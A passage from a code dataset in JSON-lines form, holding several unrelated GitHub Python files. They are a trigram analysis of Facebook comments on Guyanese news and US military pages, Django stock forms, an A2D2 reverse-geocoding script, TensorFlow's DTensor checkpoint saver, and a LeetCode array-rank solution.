action=\"store_true\")\nargs = arg_parser.parse_args()\n\n#read off input values\nif args.ignore:\n    print('Ignoring all warnings...')\n    warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\nprint(\"Using %s for analysis\" % args.type)\nprint(\"Using start_date of: \",args.date)\n\n#stop words for both types of pages\nus_stop_words = []\nguy_stop_words = []\n\n#stop lemmas\nus_stop_lemmas = [\"en\",\"la\",\"de\",\"desde\",\"los\",\"eso\",\"es\"]\n\n#define and instantiate tokenizers\nus_tokenizer = Tokenizer(stop_words=us_stop_words, case_sensitive=False, stop_lemmas=us_stop_lemmas, lemma_token=False, lower_token=True)\nguy_tokenizer = Tokenizer(stop_words=guy_stop_words, case_sensitive=False, lemma_token=False, lower_token=True)\n\n#pages used for facebook pull\nif args.pages == 'all':\n    page_ids = ['AFSOUTHNewHorizons','USEmbassyGeorgetown','southcom','dpiguyana','AFSouthern','NewsSourceGuyana','655452691211411','kaieteurnewsonline','demwaves','CapitolNewsGY','PrimeNewsGuyana','INews.Guyana','stabroeknews','NCNGuyanaNews','dailynewsguyana','actionnewsguyana','gychronicle','gytimes','newsroomgy']\nelif args.pages == 'us':\n    page_ids = ['AFSOUTHNewHorizons','USEmbassyGeorgetown','southcom','AFSouthern']\nelif args.pages == 'guy':\n    page_ids = ['dpiguyana','NewsSourceGuyana','655452691211411','kaieteurnewsonline','demwaves','CapitolNewsGY','PrimeNewsGuyana','INews.Guyana','stabroeknews','NCNGuyanaNews','dailynewsguyana','actionnewsguyana','gychronicle','gytimes','newsroomgy']\n\n\n#lookup for detemining correct tokenizer \npage_to_tokenizer = {\n    'AFSOUTHNewHorizons': us_tokenizer,\n    'USEmbassyGeorgetown': us_tokenizer,\n    'southcom': us_tokenizer,\n    'dpiguyana': guy_tokenizer,\n    'AFSouthern': us_tokenizer,\n    'NewsSourceGuyana': guy_tokenizer,\n    '655452691211411': guy_tokenizer,\n    'kaieteurnewsonline': guy_tokenizer,\n    'demwaves': guy_tokenizer,\n    'CapitolNewsGY': guy_tokenizer,\n    'PrimeNewsGuyana': guy_tokenizer,\n    'INews.Guyana': guy_tokenizer,\n    'stabroeknews': guy_tokenizer,\n    'NCNGuyanaNews': guy_tokenizer,\n    'dailynewsguyana': guy_tokenizer,\n    'actionnewsguyana': guy_tokenizer,\n    'gychronicle': guy_tokenizer,\n    'gytimes': guy_tokenizer,\n    'newsroomgy': guy_tokenizer\n}\n\n#connect to database\nengine = create_engine('sqlite:///./nh19_fb.db')\n\n#get all comments for this year\nraw_df = pd.read_sql(\"\"\"select * from {0} where created_time > '{1}'\"\"\".format(args.type, args.date),engine)\n\n#find date of most recent_comment\nrelevant_pages = raw_df[raw_df['page'].isin(page_ids)]\nmost_recent_date = relevant_pages.created_time.max()[:10]\n\n#filter for page and store list of comments in \npage_comments = {} \nfor pageid in page_ids:\n    tmp_df = raw_df[raw_df['page'] == pageid]\n    page_comments[pageid] = tmp_df[tmp_df['message'].notnull()].message.to_list()\n\n#tokenize, create trigram counts, only keep most common trigrams and trigrams that show up at least a certain amount of times\npage_trigram_dict = {}\npage_tokens = {}\nfor page in page_comments: \n    print('Tokenizing {0} {1} from {2}'.format(len(page_comments[page]), args.type, page))\n    tokens = page_to_tokenizer[page].tokenize(page_comments[page], return_docs=False)\n    page_tokens[page] = tokens\n    trigrams = list(nltk.trigrams(tokens))\n    #keep top n trigrams\n    trigram_count = collections.Counter(trigrams).most_common(args.num_trigrams)\n    #make dictionary with trigram as key and count as value; only keep trigrams that appear more than once\n    trigram_dict = {item[0]: item[1] for item in trigram_count if item[1] > 1}\n    page_trigram_dict[page] = trigram_dict\n\n#get trigram counts for overall chart\nall_tokens = [token for page in page_tokens for token in page_tokens[page]]\nall_trigrams = list(nltk.trigrams(all_tokens))\nall_trigram_counts = collections.Counter(all_trigrams).most_common(args.num_trigrams)\nall_trigram_dict = {item[0]: item[1] for item in all_trigram_counts if item[1] > 1}\n\n#barchart for most common trigrams\nfor i,page in enumerate(page_trigram_dict):\n    plt.figure(i)\n    keys = [trigram[0] + '_' + trigram[1] + '_' + trigram[2] for trigram in page_trigram_dict[page].keys()]\n    plt.bar(keys,list(page_trigram_dict[page].values()))\n    plt.xticks(rotation=40, ha='right')\n    plt.subplots_adjust(bottom=0.4)\n    plt.xlabel(\"Trigram\")\n    plt.ylabel(\"Frequency\")\n    ax = plt.gca()\n    ax.tick_params(axis='both', which='major', labelsize=12)\n    plt.title('{0} Trigrams, {1} - {2}'.format(page, args.date, most_recent_date), fontsize = 20)\n    plt.savefig('./trigramCharts/{0}_{1}_trigramBar_{2}_to_{3}.png'.format(page,args.type,args.date,most_recent_date))\n\n#barchart for most common trigrams overall\nplt.figure(len(page_trigram_dict))\nall_keys = [trigram[0] + '_' + trigram[1] + '_' + trigram[2] for trigram in all_trigram_dict.keys()]\nplt.bar(all_keys,list(all_trigram_dict.values()))\nplt.xticks(rotation=40, ha='right')\nplt.subplots_adjust(bottom=0.4)\nplt.xlabel(\"Trigram\")\nplt.ylabel(\"Frequency\")\nax = plt.gca()\nax.tick_params(axis='both', which='major', labelsize=12)\nplt.title('Overall {0} Trigrams, {1} - {2}'.format(args.pages.upper(), args.date, most_recent_date), fontsize = 20)\nplt.savefig('./trigramCharts/overall_{0}_{1}_trigramBar_{2}_to_{3}.png'.format(args.pages,args.type,args.date,most_recent_date))\n\n#set scaling factor for how spread out trigrams are (smaller makes more spread)\nscale_factor = 5\nweight_mult = args.num_trigrams/scale_factor\n\n#Graphing network digram\nfor page in page_trigram_dict:\n    G = nx.Graph()\n    node_dict = {} \n\n    #add all edges (trigrams) to graph\n    for k,v in page_trigram_dict[page].items():\n        G.add_edge(k[0],k[1], weight=(v))\n        G.add_edge(k[1],k[2], weight=(v))\n        #populate word frequency from trigrams alone\n        for word in k:\n            if word in node_dict.keys():\n                node_dict[word] += v\n            else:\n                node_dict[word] = v\n\n    max_weight = max([v for v in page_trigram_dict[page].values()])\n    fig,ax = plt.subplots(figsize=(18,14))\n    pos = nx.spring_layout(G,k=max(math.log(max_weight+1,10),1))\n\n    #draw graph \n    nx.draw_networkx(G,pos,font_size=16,width=3,edge_color='grey',node_size=200,node_color=list(node_dict.values()),cmap=plt.cm.plasma,with_labels=False,ax=ax)\n    plt.title('{0} Trigram Diagram, {1} - {2}'.format(page, args.date, most_recent_date))\n    \n    #assign color to each node based on node weight (number of bigram connections to each node)\n    color_scale = plt.cm.plasma.__copy__()\n    max_val = max(node_dict.values())\n    node_colors = {node: rgb2hex(color_scale(node_dict[node]/max_val)) for node in node_dict}\n\n    #get nodes and edges\n    cyto_dict = nx.readwrite.json_graph.cytoscape_data(G)['elements']\n    #add weight and color to each node\n    for node in cyto_dict['nodes']:\n        node['data']['weight'] = node_dict[node['data']['id']]\n        node['data']['node_color'] = node_colors[node['data']['id']]\n    #write json file to disk\n    cyto_json_path = \"./trigramCharts/cyto_tri_json_{0}_{1}_{2}_to_{3}.json\".format(page, args.type, args.date, most_recent_date)\n    with open(cyto_json_path,\"w\") as cyto_file:\n        cyto_file.write(json.dumps(cyto_dict))\n\n    #turn off grid lines and both axes\n    ax.axis('off')\n\n    #labelling diagram\n    for key, value in pos.items():\n        x = value[0]\n        y = value[1]+0.05\n        ax.text(x,y,s=key,bbox=dict(facecolor='grey',edgecolor='black',alpha=0.1),horizontalalignment='center',fontsize=13)\n\n    #create colorbar as legend for colormap\n    sm = plt.cm.ScalarMappable(cmap=plt.cm.plasma)\n    sm._A = list(node_dict.values()) \n    cbar = plt.colorbar(sm)\n    cbar.ax.get_yaxis().labelpad = 15\n    cbar.ax.set_ylabel('Word Frequency', rotation=270)\n    #save figure \n    plt.savefig('./trigramCharts/{0}_{1}_trigramGraph_{2}_to_{3}.png'.format(page,args.type,args.date,most_recent_date))\n\n\n#Graphing for overall plot\nG = nx.Graph()\nnode_dict = {} \n\nfor k,v in all_trigram_dict.items():\n    G.add_edge(k[0],k[1], weight=(v))\n    G.add_edge(k[1],k[2], weight=(v))\n    #populate word frequency from trigrams alone\n    for word in k:\n        if word in node_dict.keys():\n            node_dict[word] += v\n        else:\n            node_dict[word] = v\n\nmax_weight = max([v for v in all_trigram_dict.values()])\nfig,ax = plt.subplots(figsize=(18,14))\npos = nx.spring_layout(G,k=max(math.log(max_weight+1,10),1))\n\n#draw graph\nnx.draw_networkx(G,pos,font_size=16,width=3,node_size=200,node_color=list(node_dict.values()),edge_color='grey',cmap=plt.cm.plasma, with_labels=False,ax=ax)\nplt.title('Overall {0} Trigram Diagram, {1} - {2}'.format(args.pages.upper(), args.date, most_recent_date))\n\ncolor_scale = plt.cm.plasma.__copy__()\nmax_val = max(node_dict.values())\nnode_colors = {node: rgb2hex(color_scale(node_dict[node]/max_val)) for node in node_dict}\n\ncyto_dict = nx.readwrite.json_graph.cytoscape_data(G)['elements']\nfor node in cyto_dict['nodes']:\n    node['data']['weight'] = node_dict[node['data']['id']]\n    node['data']['node_color'] = node_colors[node['data']['id']]\n\ncyto_json_path = \"./trigramCharts/cyto_tri_json_{0}_{1}_{2}_to_{3}.json\".format(args.pages, args.type, args.date, most_recent_date)\nwith open(cyto_json_path,\"w\") as cyto_file:\n    cyto_file.write(json.dumps(cyto_dict))\n\n#turn off grid lines and both axes\nax.axis('off')\n\n#labelling diagram\nfor key, value in pos.items():\n    x = value[0]\n    y = value[1] + 0.05\n    ax.text(x,y,s=key,horizontalalignment='center',fontsize=13,bbox=dict(facecolor='grey',edgecolor='black',alpha=0.1))\n\n#create colorbar as legend for colormap\nsm = plt.cm.ScalarMappable(cmap=plt.cm.plasma)\nsm._A = list(node_dict.values()) \ncbar = plt.colorbar(sm)\ncbar.ax.get_yaxis().labelpad = 15\ncbar.ax.set_ylabel('Word Frequency', rotation=270)\n#save figure\nplt.savefig('./trigramCharts/overall_{0}_{1}_trigramGraph_{2}_to_{3}.png'.format(args.pages,args.type,args.date,most_recent_date))\n\nplt.show()\n\n","repo_name":"czig/nh19_sentiment","sub_path":"plotAllTrigrams.py","file_name":"plotAllTrigrams.py","file_ext":"py","file_size_in_byte":11153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34365635454","text":"from django import forms\nfrom .models import SellStock, BuyStock, AllStocks\n\n\nclass DateInput(forms.DateInput):\n    input_type = 'date'\n\n\nclass AllStockForm(forms.ModelForm):\n    class Meta:\n        model = AllStocks\n        fields = ('stock_name', 'currency')\n\n\nclass BuyForm(forms.ModelForm):\n    class Meta:\n        model = BuyStock\n        widgets = {'stock_buy_transacted_date': DateInput()}\n        fields = ('stock_buy_transacted_date',\n                  'stock_buy_units', 'stock_price_per_unit',\n                  'fee')\n\n\nclass SellForm(forms.ModelForm):\n    class Meta:\n        model = SellStock\n        widgets = {'stock_sell_transacted_date': DateInput()}\n        fields = (\"stock_sell_transacted_date\", \"stock_sell_units\"\n                  , \"stock_price_per_unit\", \"fee\")\n\n\nfrom django.contrib import admin\n\n# Register your models here.\n","repo_name":"bharathi-y/stock-portfolio","sub_path":"mytransaction/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71249704360","text":"import os\nimport sys\nsys.path.append(\"..\")\n\nimport numpy as np\n\nimport json\n\nA2D2_LOCATION = '/mnt/ml-data-storage/jens/A2D2/' \n\nDATA_DIR = '/mnt/ml-data-storage/jens/A2D2/'\nIMAGE_DIRS = os.path.join(DATA_DIR, 'camera_lidar_semantic')\n\nfrom geopy.geocoders import Nominatim\nfrom IPython.display import clear_output\nimport time \n\ngeolocator = Nominatim(user_agent='A2D2-data')\n\nruns = os.listdir(DATA_DIR)\nfor r in runs: \n    if os.path.isdir(os.path.join(DATA_DIR,r)) and r != 'camera_lidar_semantic': \n        bus_file = os.path.join(DATA_DIR, r, 'bus', r.replace('_', '')) + '_bus_signals.json'\n        with open(bus_file) as f: \n            data = json.load(f)\n            for i in range(len(data)):\n                if 'latitude_degree' in data[i]['flexray'].keys():\n                    lat, long = data[i]['flexray']['latitude_degree']['values'], data[i]['flexray']['longitude_degree']['values']\n                    location = geolocator.reverse(str(lat[0])+ \",\"+str(long[0]))\n                    try:\n                        city = location.raw['address']\n                        pos = city['city']\n                    except:\n                        try: \n                            pos = city['village']\n                        except:\n                            #print(location.raw['address'])\n                            continue\n                            #try: \n                            #    pos = city['town']\n                            #except: \n                            #    continue\n                    print(r, pos, \"postcode:\", location.raw['address']['postcode'])\n                    break \n","repo_name":"jenshenriksson/ood-cityscapes-bdd","sub_path":"utils/dataloaders/rearange_a2d2.py","file_name":"rearange_a2d2.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3987416934","text":"from typing import Dict, List, Optional\nimport weakref\n\nfrom tensorflow.core.protobuf import trackable_object_graph_pb2\n\nfrom tensorflow.dtensor.python import api\nfrom tensorflow.dtensor.python import d_variable\nfrom tensorflow.dtensor.python import gen_dtensor_ops\nfrom tensorflow.dtensor.python import layout\nfrom tensorflow.dtensor.python import save_restore\nfrom tensorflow.python.checkpoint import checkpoint as util\nfrom tensorflow.python.checkpoint import checkpoint_options\nfrom tensorflow.python.checkpoint import graph_view as graph_view_lib\nfrom tensorflow.python.checkpoint import restore as restore_lib\nfrom tensorflow.python.eager import context\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import errors_impl\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.trackable import base\nfrom tensorflow.python.trackable import data_structures\nfrom tensorflow.python.training import py_checkpoint_reader\nfrom tensorflow.python.training.saving import saveable_object\nfrom tensorflow.python.training.saving import saveable_object_util\nfrom tensorflow.python.util import deprecation\nfrom tensorflow.python.util import nest\nfrom tensorflow.python.util.tf_export import tf_export\n\n\nclass _DSaver:  # pylint: disable=protected-access\n  \"\"\"A single device saver that places tensors on DTensor Device.\"\"\"\n\n  def __init__(self, mesh: layout.Mesh,\n               saveable_objects: List[saveable_object.SaveableObject]):\n    self._saveable_objects = saveable_objects\n    self._mesh = mesh\n\n  def save(\n      self,\n      file_prefix: str,\n      options: Optional[checkpoint_options.CheckpointOptions] = None\n  ) -> Optional[ops.Operation]:\n    \"\"\"Saves the saveable objects to a checkpoint with `file_prefix`.\n\n    Also query the generated shards from the distributed DTensor SaveV2 ops and\n    do a MergeV2 on those. Each op here is backed by a global_barrier to avoid\n    racing from multiple clients.\n\n    Args:\n      file_prefix: A string or scalar string Tensor containing the prefix to\n        save under.\n      options: Optional `CheckpointOptions` object. This is unused in DTensor.\n\n    Returns:\n      An `Operation`, or None when executing eagerly.\n    \"\"\"\n    if options is not None and options.experimental_io_device is not None:\n      raise ValueError(\n          \"Specified experimental_io_device in DTensor checkpoint is not supported.\"\n      )\n    del options\n    tensor_names = []\n    tensors = []\n    tensor_slices = []\n    for saveable in self._saveable_objects:\n      for spec in saveable.specs:\n        tensor = spec.tensor\n        # A tensor value of `None` indicates that this SaveableObject gets\n        # recorded in the object graph, but that no value is saved in the\n        # checkpoint.\n        if tensor is not None:\n          if api.device_name() != spec.device:\n            # Some small tensors are placed on CPU0 from save manager and\n            # broadcasted to DTensor mesh, e,g., SaveCounter.\n            tensor = api.pack([tensor] *\n                              self._mesh.host_mesh().num_local_devices(),\n                              layout.Layout.replicated(\n                                  self._mesh.host_mesh(),\n                                  rank=tensor.shape.rank))\n          tensor_names.append(spec.name)\n          tensors.append(tensor)\n          tensor_slices.append(spec.slice_spec)\n    return save_restore.sharded_save(self._mesh, file_prefix, tensor_names,\n                                     tensor_slices, tensors)\n\n  def restore(\n      self,\n      file_prefix: str,\n      options: Optional[checkpoint_options.CheckpointOptions] = None\n  ) -> Dict[str, ops.Operation]:\n    \"\"\"Restore the saveable objects from a checkpoint with `file_prefix`.\n\n    Args:\n      file_prefix: A string or scalar string Tensor containing the prefix for\n        files to read from.\n      options: Optional `CheckpointOptions` object. This is unused in DTensor.\n\n    Returns:\n      A dictionary mapping from SaveableObject names to restore operations.\n    \"\"\"\n    if options is not None and options.experimental_io_device is not None:\n      raise ValueError(\n          \"Specified experimental_io_device in DTensor checkpoint is not \"\n          \"supported.\")\n    del options\n    restore_specs = []\n    tensor_structure = []\n    for saveable in self._saveable_objects:\n      saveable_tensor_structure = []\n      tensor_structure.append(saveable_tensor_structure)\n      # DTensor change 1 : Gather shapes and layout from original saveable\n      # specs.\n      # Note that this relies on the fact that the variables are already\n      # initialized -- which isn't the behavior we want eventually.\n      # TODO(b/159035705): Handle the variable initialization in restore.\n      for spec in saveable.specs:\n        saveable_tensor_structure.append(spec.name)\n        if isinstance(spec, d_variable.DSaveSpec):\n          restore_specs.append((spec.name, spec.slice_spec, spec.dtype,\n                                spec.layout, spec.global_shape))\n        # Fall back to replicated layouts for non-DTensor saves that constructs\n        # normal SaveSpec.\n        elif isinstance(spec, saveable_object.SaveSpec):\n          restore_specs.append(\n              (spec.name, spec.slice_spec, spec.dtype,\n               layout.Layout.replicated(self._mesh.host_mesh(),\n                                        spec.tensor.shape.rank).to_string(),\n               spec.tensor.shape.as_list()))\n    tensor_names, tensor_slices, tensor_dtypes, layouts, global_shapes = zip(\n        *restore_specs)\n    with ops.device(api.device_name()):\n      # DTensor change 2 : Run on customized DTensor RestoreV2 op rather than\n      # stock TF io_ops.RestoreV2.\n      restored_tensors = gen_dtensor_ops.d_tensor_restore_v2(\n          prefix=file_prefix,\n          tensor_names=tensor_names,\n          shape_and_slices=tensor_slices,\n          input_shapes=global_shapes,\n          input_layouts=layouts,\n          dtypes=tensor_dtypes)\n    structured_restored_tensors = nest.pack_sequence_as(tensor_structure,\n                                                        restored_tensors)\n    restore_ops = {}\n    for saveable, restored_tensors in zip(self._saveable_objects,\n                                          structured_restored_tensors):\n      restore_ops[saveable.name] = saveable.restore(\n          restored_tensors, restored_shapes=None)\n    return restore_ops\n\n\nclass _DCheckpointRestoreCoordinator(util._CheckpointRestoreCoordinator):  # pylint: disable=protected-access\n  \"\"\"Holds the status of an object-based checkpoint load.\"\"\"\n\n  def __init__(self, mesh: layout.Mesh, **kwargs):\n    super().__init__(**kwargs)\n    self._mesh = mesh\n\n  def restore_saveables(self,\n                        tensor_saveables: Dict[str,\n                                               saveable_object.SaveableObject],\n                        python_positions: List[restore_lib.CheckpointPosition],\n                        registered_savers: Optional[Dict[str, Dict[\n                            str, base.Trackable]]] = None,\n                        reader: py_checkpoint_reader.NewCheckpointReader = None\n                        ) -> Optional[List[ops.Operation]]:\n    \"\"\"Run or build restore operations for SaveableObjects.\n\n    Args:\n      tensor_saveables: `SaveableObject`s which correspond to Tensors.\n      python_positions: `CheckpointPosition`s which correspond to `PythonState`\n        Trackables bound to the checkpoint.\n      registered_savers: a dict mapping saver names-> object name -> Trackable.\n        This argument is not implemented for DTensorCheckpoint.\n      reader: A CheckpointReader. Creates one lazily if None.\n\n    Returns:\n      When graph building, a list of restore operations, either cached or newly\n      created, to restore `tensor_saveables`.\n    \"\"\"\n    del registered_savers\n\n    restore_ops = []\n    # Eagerly run restorations for Python state.\n    if python_positions:\n      # Lazily create the NewCheckpointReader, since this requires file access\n      # and we may not have any Python saveables.\n      if reader is None:\n        reader = py_checkpoint_reader.NewCheckpointReader(self.save_path_string)\n      for position in python_positions:\n        key = position.object_proto.attributes[0].checkpoint_key\n        position.trackable.deserialize(reader.get_tensor(key))\n\n    # If we have new SaveableObjects, extract and cache restore ops.\n    if tensor_saveables:\n      validated_saveables = saveable_object_util.validate_and_slice_inputs(\n          tensor_saveables)\n      validated_names = set(saveable.name for saveable in validated_saveables)\n      if set(tensor_saveables.keys()) != validated_names:\n        raise AssertionError(\n            (\"Saveable keys changed when validating. Got back %s, was \"\n             \"expecting %s\") % (tensor_saveables.keys(), validated_names))\n      # DTensor change: Use _DSaver that does restore on DTensor with\n      # customized DTensorRestoreV2 op.\n      new_restore_ops = _DSaver(self._mesh, validated_saveables).restore(\n          self.save_path_tensor, self.options)\n      if not context.executing_eagerly():\n        for name, restore_op in sorted(new_restore_ops.items()):\n          restore_ops.append(restore_op)\n          assert name not in self.restore_ops_by_name\n          self.restore_ops_by_name[name] = restore_op\n    return restore_ops\n\n\nclass DTrackableSaver(util.TrackableSaver):\n  \"\"\"A DTensor trackable saver that uses _SingleDeviceSaver.\"\"\"\n\n  def __init__(self, mesh: layout.Mesh, graph_view):\n    super(DTrackableSaver, self).__init__(graph_view)\n    self._mesh = mesh\n\n  def _gather_saveables(self, object_graph_tensor=None):\n    # Since the base Checkpoint class does not return SaveableObjects, re-use\n    # the saveables cache or generate new Saveables.\n    (serialized_tensors, feed_additions, registered_savers,\n     graph_proto) = self._gather_serialized_tensors(object_graph_tensor)\n\n    saveables_dict = self._saveables_cache\n    if saveables_dict is None:\n      # Get and remove object graph tensor from `serialized_tensors`, because\n      # the function `serialized_tensors_to_saveable_cache` isn't equipped\n      # to handle it.\n      object_graph_tensor = serialized_tensors.pop(\n          None)[base.OBJECT_GRAPH_PROTO_KEY]\n      saveables_dict = (\n          saveable_object_util.serialized_tensors_to_saveable_cache(\n              serialized_tensors))\n    named_saveable_objects = []\n    for saveable_by_name in saveables_dict.values():\n      for saveables in saveable_by_name.values():\n        named_saveable_objects.extend(saveables)\n    named_saveable_objects.append(\n        base.NoRestoreSaveable(\n            tensor=object_graph_tensor,\n            name=base.OBJECT_GRAPH_PROTO_KEY))\n    return (named_saveable_objects, graph_proto, feed_additions,\n            registered_savers)\n\n  def _save_cached_when_graph_building(self,\n                                       file_prefix,\n                                       object_graph_tensor,\n                                       options,\n                                       update_ckpt_state=False):\n    \"\"\"Create or retrieve save ops, overrides parents's private method.\n\n    Args:\n      file_prefix: The prefix for saved checkpoint files.\n      object_graph_tensor: A `Tensor` to which the current object graph will be\n        fed.\n      options: `CheckpointOptions` object.\n      update_ckpt_state: Optional bool flag. Indiciate whether the internal\n        checkpoint state needs to be updated. This is used for async checkpoint,\n        which DTrackableSaver currently does not support.\n    TODO(chienchunh): Implement async checkpoint for DTrackableSaver.\n\n    Returns:\n      A two-element tuple with a filename tensor and a feed_dict of tensors to\n      feed when running it (if graph building). The feed dict contains the\n      current object graph and any Python state to be saved in the\n      checkpoint. When executing eagerly only the first argument is meaningful.\n    \"\"\"\n    (named_saveable_objects, graph_proto, feed_additions,\n     unused_registered_savers) = self._gather_saveables(\n         object_graph_tensor=object_graph_tensor)\n    if (self._last_save_object_graph != graph_proto\n        # When executing eagerly, we need to re-create SaveableObjects each time\n        # save() is called so they pick up new Tensors passed to their\n        # constructors. That means the Saver needs to be copied with a new\n        # var_list.\n        or context.executing_eagerly() or ops.inside_function()):\n      # This is needed to avoid MultiDeviceSaver creating unnecessary MergeV2\n      # ops in DTensor. It is an issue when saving TPU Variables on host CPU\n      # mesh given our limited expressiveness in API and hard-coded logic in\n      # broadcasting -- for a small constant Tensor with no extra information,\n      # we place it on the first registered mesh(A.K.A. default mesh).\n      saver = _DSaver(self._mesh, named_saveable_objects)\n      save_op = saver.save(file_prefix, options=options)\n      with ops.device(\"/cpu:0\"):\n        with ops.control_dependencies([save_op]):\n          self._cached_save_operation = array_ops.identity(file_prefix)\n      self._last_save_object_graph = graph_proto\n    return self._cached_save_operation, feed_additions\n\n  # TODO(b/180466245): Use proper mesh placement semantic.\n  def restore(self, save_path, options=None):\n    \"\"\"Restore a training checkpoint with host mesh placement.\"\"\"\n    options = options or checkpoint_options.CheckpointOptions()\n    if save_path is None:\n      return util.InitializationOnlyStatus(self._graph_view, ops.uid())\n    reader = py_checkpoint_reader.NewCheckpointReader(save_path)\n    graph_building = not context.executing_eagerly()\n    if graph_building:\n      dtype_map = None\n    else:\n      dtype_map = reader.get_variable_to_dtype_map()\n    try:\n      object_graph_string = reader.get_tensor(base.OBJECT_GRAPH_PROTO_KEY)\n    except errors_impl.NotFoundError:\n      # The object graph proto does not exist in this checkpoint. Try the\n      # name-based compatibility mode.\n      restore_coordinator = util._NameBasedRestoreCoordinator(  # pylint: disable=protected-access\n          save_path=save_path,\n          dtype_map=dtype_map)\n      if not graph_building:\n        for existing_trackable in self._graph_view.list_objects():\n          # pylint: disable=protected-access\n          existing_trackable._maybe_initialize_trackable()\n          existing_trackable._name_based_restores.add(restore_coordinator)\n          existing_trackable._name_based_attribute_restore(restore_coordinator)\n          # pylint: enable=protected-access\n      return util.NameBasedSaverStatus(\n          restore_coordinator, graph_view=self._graph_view)\n\n    if graph_building:\n      if self._file_prefix_placeholder is None:\n        # DTensor change: provide a hint for mesh broadcasting to put the input\n        # onto the host mesh.\n        self._file_prefix_placeholder = api.pack(\n            [constant_op.constant(\"model\")] * self._mesh.num_local_devices(),\n            layout.Layout.replicated(self._mesh.host_mesh(), rank=0))\n      file_prefix_tensor = self._file_prefix_placeholder\n      file_prefix_feed_dict = {self._file_prefix_placeholder: save_path}\n    else:\n      # DTensor change: provide a hint for mesh broadcasting to put the input\n      # onto the host mesh.\n      file_prefix_tensor = api.pack(\n          [constant_op.constant(save_path)] * self._mesh.num_local_devices(),\n          layout.Layout.replicated(self._mesh.host_mesh(), rank=0))\n      file_prefix_feed_dict = None\n    object_graph_proto = (trackable_object_graph_pb2.TrackableObjectGraph())\n    object_graph_proto.ParseFromString(object_graph_string)\n    # DTensor Change: Hook the proper DSaver in restore.\n    checkpoint = _DCheckpointRestoreCoordinator(\n        mesh=self._mesh,\n        object_graph_proto=object_graph_proto,\n        save_path=save_path,\n        save_path_tensor=file_prefix_tensor,\n        reader=reader,\n        restore_op_cache=self._restore_op_cache,\n        graph_view=self._graph_view,\n        options=options,\n        saveables_cache=self._saveables_cache)\n    restore_lib.CheckpointPosition(\n        checkpoint=checkpoint, proto_id=0).restore(self._graph_view.root)\n\n    # Attached dependencies are not attached to the root, so should be restored\n    # separately.\n    if self._graph_view.attached_dependencies:\n      for ref in self._graph_view.attached_dependencies:\n        if ref.name == \"root\":\n          # Root dependency is automatically added to attached dependencies --\n          # this can be ignored since it maps back to the root object.\n          continue\n        proto_id = None\n        # Find proto ID of attached dependency (if it is in the proto).\n        for proto_ref in object_graph_proto.nodes[0].children:\n          if proto_ref.local_name == ref.name:\n            proto_id = proto_ref.node_id\n            break\n\n        if proto_id in checkpoint.object_by_proto_id:\n          # Object has already been restored. This can happen when there's an\n          # indirect connection from the attached object to the root.\n          continue\n\n        restore_lib.CheckpointPosition(\n            checkpoint=checkpoint, proto_id=proto_id).restore(ref.ref)\n\n    load_status = util.CheckpointLoadStatus(\n        checkpoint,\n        graph_view=self._graph_view,\n        feed_dict=file_prefix_feed_dict)\n    return load_status\n\n\n@deprecation.deprecated(\n    date=None,\n    instructions=\"Please use tf.train.Checkpoint instead of DTensorCheckpoint. \"\n    \"DTensor is integrated with tf.train.Checkpoint and it can be \"\n    \"used out of the box to save and restore dtensors.\")\n@tf_export(\"experimental.dtensor.DTensorCheckpoint\", v1=[])\nclass DTensorCheckpoint(util.Checkpoint):\n  \"\"\"Manages saving/restoring trackable values to disk, for DTensor.\"\"\"\n\n  def __init__(self, mesh: layout.Mesh, root=None, **kwargs):\n    super(DTensorCheckpoint, self).__init__(root=root, **kwargs)\n    self._mesh = mesh\n\n    saver_root = self\n    attached_dependencies = None\n    self._save_counter = None  # Created lazily for restore-on-create.\n    self._save_assign_op = None\n\n    if root:\n      util._assert_trackable(root, \"root\")\n      saver_root = root\n      attached_dependencies = []\n\n      # All keyword arguments (including root itself) are set as children\n      # of root.\n      kwargs[\"root\"] = root\n      root._maybe_initialize_trackable()\n\n      self._save_counter = data_structures.NoDependency(\n          root._lookup_dependency(\"save_counter\"))\n      self._root = data_structures.NoDependency(root)\n\n    for k, v in sorted(kwargs.items(), key=lambda item: item[0]):\n      setattr(self, k, v)\n\n      # Call getattr instead of directly using v because setattr converts\n      # v to a Trackable data structure when v is a list/dict/tuple.\n      converted_v = getattr(self, k)\n      util._assert_trackable(converted_v, k)\n\n      if root:\n        # Make sure that root doesn't already have dependencies with these names\n        attached_dependencies = attached_dependencies or []\n        child = root._lookup_dependency(k)\n        if child is None:\n          attached_dependencies.append(base.TrackableReference(k, converted_v))\n        elif child != converted_v:\n          raise ValueError(\n              \"Cannot create a Checkpoint with keyword argument {name} if \"\n              \"root.{name} already exists.\".format(name=k))\n    # DTensor Change:\n    # Override the parents saver with DTrackableSaver with _SingleDeviceSaver.\n    self._saver = DTrackableSaver(\n        mesh,\n        graph_view_lib.ObjectGraphView(\n            weakref.ref(saver_root),\n            attached_dependencies=attached_dependencies))\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/dtensor/python/d_checkpoint.py","file_name":"d_checkpoint.py","file_ext":"py","file_size_in_byte":19771,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"}
{"seq_id":"14803979492","text":"#Given an array of integers arr, replace each element with its rank.\n#The rank represents how large the element is. The rank has the following rules:\n#Rank is an integer starting from 1.\n#The larger the element, the larger the rank. If two elements are equal, their rank must be the same.\n#Rank should be as small as possible.\n\nclass Solution:\n    def arrayRankTransform(self, arr: List[int]) -> List[int]:\n        ans = []\n        d = {}\n        k = 1\n        sort = sorted(arr)\n        for i in range(len(arr)):\n            if sort[i] not in d:\n                d[sort[i]] = k\n                k += 1\n                \n        for i in arr:\n            ans.append(d[i])\n        return ans\n","repo_name":"VasilyevaYulia/Leetcode","sub_path":"Rank_Transform_of_an_Array.py","file_name":"Rank_Transform_of_an_Array.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
